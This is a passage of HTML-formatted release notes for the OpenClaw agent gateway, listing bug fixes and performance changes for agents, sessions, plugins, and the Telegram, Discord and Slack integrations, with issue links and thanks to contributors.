<p>Agents/runtime: cache the stable system-prompt prefix and reuse prompt-report tool schema stats during dispatch prep, reducing repeated CPU work before streaming starts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368424894" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75999" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75999/hovercard" href="https://github.com/openclaw/openclaw/issues/75999">#75999</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368807955" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76061" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76061/hovercard" href="https://github.com/openclaw/openclaw/issues/76061">#76061</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zackchiutw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zackchiutw">@zackchiutw</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/STLI69/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/STLI69">@STLI69</a>.</p>
</li>
<li>
<p>Control UI/WebChat: use high-contrast text selection colors so highlighted chat text stays visible across themes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204728608" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60850" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60850/hovercard" href="https://github.com/openclaw/openclaw/issues/60850">#60850</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204759217" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60854" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60854/hovercard" href="https://github.com/openclaw/openclaw/pull/60854">#60854</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Badschaff/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Badschaff">@Badschaff</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/efe-arv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/efe-arv">@efe-arv</a>.</p>
</li>
<li>
<p>Telegram/native commands: pass persisted session files into plugin commands for topic-bound sessions, so <code>/codex bind</code> works from Telegram forum topics. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367067083" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75845" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75845/hovercard" href="https://github.com/openclaw/openclaw/pull/75845">#75845</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368766599" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76049" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76049/hovercard" href="https://github.com/openclaw/openclaw/pull/76049">#76049</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MatthewSchleder/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MatthewSchleder">@MatthewSchleder</a>.</p>
</li>
<li>
<p>Security audit/plugins: ignore plugin install backup, disabled, and dependency debris directories when enumerating installed plugin roots, avoiding false-positive findings for <code>.openclaw-install-backups</code> after plugin updates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363085900" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75456" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75456/hovercard" href="https://github.com/openclaw/openclaw/issues/75456">#75456</a>.</p>
</li>
<li>
<p>Telegram: honor runtime conversation bindings for native slash commands in bound top-level groups, so commands like <code>/status@bot</code> route to the active non-<code>main</code> session instead of falling back to the default route. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362659532" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75405" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75405/hovercard" href="https://github.com/openclaw/openclaw/issues/75405">#75405</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363728120" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75558" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75558/hovercard" href="https://github.com/openclaw/openclaw/pull/75558">#75558</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ziptbm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ziptbm">@ziptbm</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yfge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yfge">@yfge</a>.</p>
</li>
<li>
<p>Gateway/tasks: make task registry maintenance use pass-local backing-session lookups and fresh active child-session indexes, avoiding repeated full task snapshots and session-store clones on large stale registries. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342683931" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73517" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73517/hovercard" href="https://github.com/openclaw/openclaw/issues/73517">#73517</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365145364" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75708" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75708/hovercard" href="https://github.com/openclaw/openclaw/issues/75708">#75708</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351414705" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74406" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74406/hovercard" href="https://github.com/openclaw/openclaw/pull/74406">#74406</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365146597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75709/hovercard" href="https://github.com/openclaw/openclaw/pull/75709">#75709</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lightningxxl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lightningxxl">@Lightningxxl</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/glfruit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/glfruit">@glfruit</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jared-rebel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jared-rebel">@jared-rebel</a>.</p>
</li>
<li>
<p>Auth/sessions: JSON-clone auth-profile cache/runtime snapshots and remaining session cleanup previews instead of using <code>structuredClone</code>, preserving mutation isolation while avoiding native-memory growth on large stores. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4073238042" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45438" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/45438/hovercard" href="https://github.com/openclaw/openclaw/issues/45438">#45438</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/markus-lassfolk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/markus-lassfolk">@markus-lassfolk</a>.</p>
</li>
<li>
<p>Models CLI: restore <code>openclaw models list --provider &lt;id&gt;</code> catalog and registry fallback rows for unconfigured providers, so provider-specific verification commands no longer report "No models found." Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363447158" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75517" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75517/hovercard" href="https://github.com/openclaw/openclaw/issues/75517">#75517</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364131001" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75615" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75615/hovercard" href="https://github.com/openclaw/openclaw/pull/75615">#75615</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lotsoftick/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lotsoftick">@lotsoftick</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/koshaji/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/koshaji">@koshaji</a>.</p>
</li>
<li>
<p>Gateway/macOS: write LaunchAgent services with a canonical system PATH and stop preserving old plist PATH entries, so Volta, asdf, fnm, and pnpm shell paths no longer affect gateway child-process Node resolution. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360722639" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75233" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75233/hovercard" href="https://github.com/openclaw/openclaw/issues/75233">#75233</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360954515" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75246" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75246/hovercard" href="https://github.com/openclaw/openclaw/pull/75246">#75246</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nphyde2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nphyde2">@nphyde2</a>.</p>
</li>
<li>
<p>Slack/hooks: preserve bot alert attachment text in message-received hook content when command text is blank. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368641515" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76035" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76035/hovercard" href="https://github.com/openclaw/openclaw/issues/76035">#76035</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368643379" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76036" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76036/hovercard" href="https://github.com/openclaw/openclaw/pull/76036">#76036</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amsminn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amsminn">@amsminn</a>.</p>
</li>
<li>
<p>Sessions/agents: route Gateway session-store writes, CLI cleanup maintenance, and agent-delete session purges through a dedicated in-process writer and borrow the validated mutable cache during the writer slot, avoiding runtime file locks plus repeated <code>sessions.json</code> rereads and JSON clones on hot metadata updates. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288028893" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68554" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68554/hovercard" href="https://github.com/openclaw/openclaw/pull/68554">#68554</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/henkterharmsel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/henkterharmsel">@henkterharmsel</a>.</p>
</li>
<li>
<p>Control UI/chat: show inline feedback when local slash-command dispatch is unavailable or fails unexpectedly instead of clearing the composer silently. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4115024686" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52105" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52105/hovercard" href="https://github.com/openclaw/openclaw/issues/52105">#52105</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MooreQiao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MooreQiao">@MooreQiao</a>.</p>
</li>
<li>
<p>Memory/markdown: replace CRLF managed blocks in place and collapse duplicate marker blocks without rewriting unmanaged markdown, so Dreaming and Memory Wiki files self-heal from repeated generated sections. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363293115" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75491" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75491/hovercard" href="https://github.com/openclaw/openclaw/issues/75491">#75491</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363308439" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75495" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75495/hovercard" href="https://github.com/openclaw/openclaw/pull/75495">#75495</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366593323" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75810" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75810/hovercard" href="https://github.com/openclaw/openclaw/pull/75810">#75810</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368473075" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76008" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76008/hovercard" href="https://github.com/openclaw/openclaw/pull/76008">#76008</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asaenokkostya-coder/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asaenokkostya-coder">@asaenokkostya-coder</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ottodeng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ottodeng">@ottodeng</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/everettjf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/everettjf">@everettjf</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lrg913427-dot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lrg913427-dot">@lrg913427-dot</a>.</p>
</li>
<li>
<p>Agents/tools: return critical tool-loop circuit-breaker stops as blocked tool results instead of thrown tool failures, so models see the guardrail and stop retrying the same call. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rayraiser/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rayraiser">@rayraiser</a>.</p>
</li>
<li>
<p>Agents/sessions: preserve pre-existing runtime model and context window after heartbeat turns so a per-run heartbeat model override does not bleed into shared-session status. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363070391" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75452" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75452/hovercard" href="https://github.com/openclaw/openclaw/issues/75452">#75452</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</p>
</li>
<li>
<p>Model commands: clarify direct and inline <code>/model</code> acknowledgements for non-default selections as session-scoped. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/addu2612/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/addu2612">@addu2612</a>.</p>
</li>
<li>
<p>Doctor/gateway: stop warning that non-existent, unconfigured user-bin directories are required in the Gateway service PATH. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368545711" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76017" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76017/hovercard" href="https://github.com/openclaw/openclaw/issues/76017">#76017</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/xiphis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xiphis">@xiphis</a>.</p>
</li>
<li>
<p>TUI/chat: skip full provider model normalization during context-window warmup while preserving provider-owned context metadata, avoiding cold-start stalls with large model registries. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/547895019/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/547895019">@547895019</a>.</p>
</li>
<li>
<p>Agents: enable malformed tool-call argument repair for Codex and Azure OpenAI Responses transports while keeping generic OpenAI Responses paths out of the repair gate. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359521991" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75154" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75154/hovercard" href="https://github.com/openclaw/openclaw/issues/75154">#75154</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nimraakram22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nimraakram22">@Nimraakram22</a>.</p>
</li>
<li>
<p>Memory Wiki: accept relative Markdown links that include the <code>.md</code> suffix during broken-wikilink validation, avoiding false positives for native render-mode links. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kenneth8128/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kenneth8128">@Kenneth8128</a>.</p>
</li>
<li>
<p>OpenAI Codex: show the device-pairing code in the interactive SSH/headless prompt while keeping the short-lived code out of persistent runtime logs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348981712" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74212" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74212/hovercard" href="https://github.com/openclaw/openclaw/issues/74212">#74212</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/da22le123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/da22le123">@da22le123</a>.</p>
</li>
<li>
<p>QA Lab: stop gateway children when the suite parent disappears, so interrupted local QA runs cannot leave hot orphaned gateways behind.</p>
</li>
<li>
<p>Codex/app-server: tolerate a second connection close during startup recovery and include retry counts plus stringified errors in the restart warning, so concurrent lanes do not fail after one shared-client race.</p>
</li>
<li>
<p>Plugins/CLI: cache plugin CLI registration entries per command program so completion state generation does not repeat the full plugin sweep in one invocation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ScientificProgrammer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ScientificProgrammer">@ScientificProgrammer</a>.</p>
</li>
<li>
<p>Plugins: reuse gateway-bindable plugin loader cache entries for later default-mode loads without serving default-built registries to gateway-bound requests, reducing repeated plugin registration during dispatch. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4210492312" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61756" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61756/hovercard" href="https://github.com/openclaw/openclaw/issues/61756">#61756</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DmitryPogodaev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DmitryPogodaev">@DmitryPogodaev</a>.</p>
</li>
<li>
<p>Gateway/secrets: include the caught error message in <code>secrets.reload</code> and <code>secrets.resolve</code> warning logs while keeping RPC errors generic, so operators can diagnose reload and permission failures. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidangularme/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidangularme">@davidangularme</a>.</p>
</li>
<li>
<p>Providers/OpenRouter: fill DeepSeek V4 <code>reasoning_content</code> replay placeholders for <code>openrouter/deepseek/deepseek-v4-flash</code> and <code>openrouter/deepseek/deepseek-v4-pro</code>, so thinking/tool follow-up turns do not fail with DeepSeek's replay-shape error. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368552053" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76018" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76018/hovercard" href="https://github.com/openclaw/openclaw/issues/76018">#76018</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cloph-dsp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cloph-dsp">@cloph-dsp</a>.</p>
</li>
<li>
<p>Anthropic-compatible streams: recover text deltas that arrive before their matching content block, so Kimi Code and similar providers do not finish as empty <code>incomplete_result</code> replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368472046" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76007" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76007/hovercard" href="https://github.com/openclaw/openclaw/issues/76007">#76007</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vliuyt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vliuyt">@vliuyt</a>.</p>
</li>
<li>
<p>fix(infra): block workspace state-directory env override [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367841633" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75940" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75940/hovercard" href="https://github.com/openclaw/openclaw/pull/75940">#75940</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</p>
</li>
<li>
<p>MCP/OpenAI: normalize parameter-free tool schemas whose top-level object <code>properties</code> is missing, null, or invalid before sending tools to OpenAI, so MCP tools without params stay usable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362431372" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75362" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75362/hovercard" href="https://github.com/openclaw/openclaw/issues/75362">#75362</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tolkonepiu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tolkonepiu">@tolkonepiu</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</p>
</li>
<li>
<p>TTS: honor explicit short <code>[[tts:text]]...[[/tts:text]]</code> blocks while keeping untagged short auto-TTS suppressed, so tagged voice replies are synthesized instead of being dropped as empty voice-only payloads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345594550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73758" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73758/hovercard" href="https://github.com/openclaw/openclaw/issues/73758">#73758</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yfge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yfge">@yfge</a>.</p>
</li>
<li>
<p>Hooks/doctor: warn when <code>hooks.transformsDir</code> points outside the canonical hooks transform directory, so invalid workspace skill paths get a direct recovery hint before the Gateway crash-loops. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367117797" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75853" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75853/hovercard" href="https://github.com/openclaw/openclaw/issues/75853">#75853</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/midobk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/midobk">@midobk</a>.</p>
</li>
<li>
<p>Proxy/audio: convert standard <code>FormData</code> bodies before proxy-backed undici fetches, so audio transcription and multipart uploads no longer send <code>[object FormData]</code> when <code>HTTP_PROXY</code> or <code>HTTPS_PROXY</code> is configured. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4085311223" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48554" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48554/hovercard" href="https://github.com/openclaw/openclaw/issues/48554">#48554</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dco5/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dco5">@dco5</a>.</p>
</li>
<li>
<p>Discord: allow explicitly configured ack reactions in tool-only guild channels while keeping automatic lifecycle/status reactions suppressed. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355990759" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74922" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74922/hovercard" href="https://github.com/openclaw/openclaw/issues/74922">#74922</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samvilian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samvilian">@samvilian</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlueBirdBack/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlueBirdBack">@BlueBirdBack</a>.</p>
</li>
<li>
<p>Discord: enable session-backed A2A announce target lookup so <code>sessions_send</code> uses the target session's <code>deliveryContext.accountId</code> or <code>lastAccountId</code> instead of falling back to the default bot in multi-account setups. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4055175543" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42652" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42652/hovercard" href="https://github.com/openclaw/openclaw/issues/42652">#42652</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4112523352" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51626" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51626/hovercard" href="https://github.com/openclaw/openclaw/issues/51626">#51626</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4069301815" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/44773/hovercard" href="https://github.com/openclaw/openclaw/pull/44773">#44773</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347442555" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73975" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73975/hovercard" href="https://github.com/openclaw/openclaw/pull/73975">#73975</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/irchelper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/irchelper">@irchelper</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dpalfox/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dpalfox">@dpalfox</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lanfei/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lanfei">@Lanfei</a>.</p>
</li>
<li>
<p>Discord/setup: write resolved guild/channel allowlist selections to the selected guild and channel instead of falling back to the wildcard guild during setup. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4079837629" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47788" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/47788/hovercard" href="https://github.com/openclaw/openclaw/pull/47788">#47788</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Eldersonar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Eldersonar">@Eldersonar</a>.</p>
</li>
<li>
